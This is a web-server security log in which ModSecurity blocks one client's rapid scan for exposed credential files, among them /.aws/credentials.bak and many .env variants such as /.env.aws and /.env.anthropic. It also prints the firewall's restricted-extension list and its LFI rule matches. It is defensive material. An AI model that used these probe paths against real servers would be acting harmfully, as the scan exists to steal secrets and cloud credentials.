[Mon Oct 26 23:41:27.426673 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.parkeranders.com"] [uri "/.aws/credentials.bak"] [unique_id "auAdZ024KMCNE5F3hPn8nAAAAAA"]
[Mon Oct 26 23:41:27.426993 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.aws/credentials.bak"] [unique_id "auAdZ024KMCNE5F3hPn8nAAAAAA"]
[Mon Oct 26 23:41:27.427023 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAdZ5GCCt7t6mKgKshQHgAAACI"]
[Mon Oct 26 23:41:27.427178 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auAdZ5GCCt7t6mKgKshQHgAAACI"]
[Mon Oct 26 23:41:27.427993 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQHgAAACI"]
[Mon Oct 26 23:41:27.427994 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8nAAAAAA"]
[Mon Oct 26 23:41:27.484311 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.docker/.env"] [unique_id "auAdZxnOVh4RLrkQvo0jsgAAACA"]
[Mon Oct 26 23:41:27.484556 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.docker/.env"] [unique_id "auAdZxnOVh4RLrkQvo0jsgAAACA"]
[Mon Oct 26 23:41:27.485396 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZxnOVh4RLrkQvo0jsgAAACA"]
[Mon Oct 26 23:41:27.503359 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "auAdZ5GCCt7t6mKgKshQHwAAACI"]
[Mon Oct 26 23:41:27.503364 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env-example"] [unique_id "auAdZ024KMCNE5F3hPn8nQAAAAA"]
[Mon Oct 26 23:41:27.503533 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "auAdZ5GCCt7t6mKgKshQHwAAACI"]
[Mon Oct 26 23:41:27.503550 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env-example"] [unique_id "auAdZ024KMCNE5F3hPn8nQAAAAA"]
[Mon Oct 26 23:41:27.504291 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8nQAAAAA"]
[Mon Oct 26 23:41:27.504447 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQHwAAACI"]
[Mon Oct 26 23:41:27.507464 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env-sample"] [unique_id "auAdZwjA6epjCUwuTm4nxgAAABY"]
[Mon Oct 26 23:41:27.507631 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env-sample"] [unique_id "auAdZwjA6epjCUwuTm4nxgAAABY"]
[Mon Oct 26 23:41:27.508991 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZwjA6epjCUwuTm4nxgAAABY"]
[Mon Oct 26 23:41:27.509492 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.anthropic"] [unique_id "auAdZx7MuKI4tGMtwYeNIQAAAAo"]
[Mon Oct 26 23:41:27.509647 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.anthropic"] [unique_id "auAdZx7MuKI4tGMtwYeNIQAAAAo"]
[Mon Oct 26 23:41:27.510502 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZx7MuKI4tGMtwYeNIQAAAAo"]
[Mon Oct 26 23:41:27.560376 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.aws"] [unique_id "auAdZxnOVh4RLrkQvo0jswAAACA"]
[Mon Oct 26 23:41:27.560602 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.aws"] [unique_id "auAdZxnOVh4RLrkQvo0jswAAACA"]
[Mon Oct 26 23:41:27.561460 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZxnOVh4RLrkQvo0jswAAACA"]
[Mon Oct 26 23:41:27.561907 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.backup"] [unique_id "auAdZ-n4bIWiIXBuaEF-4QAAAAI"]
[Mon Oct 26 23:41:27.562053 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.backup"] [unique_id "auAdZ-n4bIWiIXBuaEF-4QAAAAI"]
[Mon Oct 26 23:41:27.562871 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-n4bIWiIXBuaEF-4QAAAAI"]
[Mon Oct 26 23:41:27.579635 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.bak"] [unique_id "auAdZ024KMCNE5F3hPn8ngAAAAA"]
[Mon Oct 26 23:41:27.579796 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.bak"] [unique_id "auAdZ024KMCNE5F3hPn8ngAAAAA"]
[Mon Oct 26 23:41:27.579887 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.dev"] [unique_id "auAdZ5GCCt7t6mKgKshQIAAAACI"]
[Mon Oct 26 23:41:27.580019 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.dev"] [unique_id "auAdZ5GCCt7t6mKgKshQIAAAACI"]
[Mon Oct 26 23:41:27.580541 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ024KMCNE5F3hPn8ngAAAAA"]
[Mon Oct 26 23:41:27.580810 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ5GCCt7t6mKgKshQIAAAACI"]
[Mon Oct 26 23:41:27.581730 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.development"] [unique_id "auAdZ-t_JlfYNa0VLOKIqQAAAAw"]
[Mon Oct 26 23:41:27.581896 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.development"] [unique_id "auAdZ-t_JlfYNa0VLOKIqQAAAAw"]
[Mon Oct 26 23:41:27.582578 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdZ-t_JlfYNa0VLOKIqQAAAAw"]
[Mon Oct 26 23:41:27.594758 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.dist"] [unique_id "auAdZwjA6epjCUwuTm4nxwAAABY"]
[Mon Oct 26 23:41:27.595015 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env.dist"] [unique_id "auAdZwjA6epjCUwuTm4nxwAAABY"]
[Mon Oct 26 23:41:27.594796 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env.docker"] [unique_id "auAdZx7MuKI4tGMtwYeNIgAAAAo"]
